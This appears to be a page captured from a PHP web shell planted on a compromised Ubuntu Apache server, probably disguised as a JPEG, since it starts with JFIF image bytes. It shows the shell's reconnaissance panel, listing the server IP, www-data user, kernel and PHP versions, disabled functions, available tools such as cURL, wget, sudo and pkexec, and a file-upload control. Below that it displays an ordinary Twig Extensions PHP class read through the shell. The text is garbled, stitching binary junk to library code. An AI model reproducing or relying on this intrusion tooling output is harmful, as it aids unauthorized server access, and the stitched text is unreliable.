����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.223 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/usr/share/php/Twig-Extensions/lib/Twig/Extensions/Grammar/ |
Upload File : |
<?php /* * This file is part of Twig. * * (c) 2010 Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /** * @deprecated since version 1.5 */ class Twig_Extensions_Grammar_Optional extends Twig_Extensions_Grammar { protected $grammar; public function __construct() { $this->grammar = array(); foreach (func_get_args() as $grammar) { $this->addGrammar($grammar); } } public function __toString() { $repr = array(); foreach ($this->grammar as $grammar) { $repr[] = (string) $grammar; } return sprintf('[%s]', implode(' ', $repr)); } public function addGrammar(Twig_Extensions_GrammarInterface $grammar) { $this->grammar[] = $grammar; } public function parse(Twig_Token $token) { // test if we have the optional element before consuming it if ($this->grammar[0] instanceof Twig_Extensions_Grammar_Constant) { if (!$this->parser->getStream()->test($this->grammar[0]->getType(), $this->grammar[0]->getName())) { return array(); } } elseif ($this->grammar[0] instanceof Twig_Extensions_Grammar_Name) { if (!$this->parser->getStream()->test(Twig_Token::NAME_TYPE)) { return array(); } } elseif ($this->parser->getStream()->test(Twig_Token::BLOCK_END_TYPE)) { // if this is not a Constant or a Name, it must be the last element of the tag return array(); } $elements = array(); foreach ($this->grammar as $grammar) { $grammar->setParser($this->parser); $element = $grammar->parse($token); if (is_array($element)) { $elements = array_merge($elements, $element); } else { $elements[$grammar->getName()] = $element; } } return $elements; } }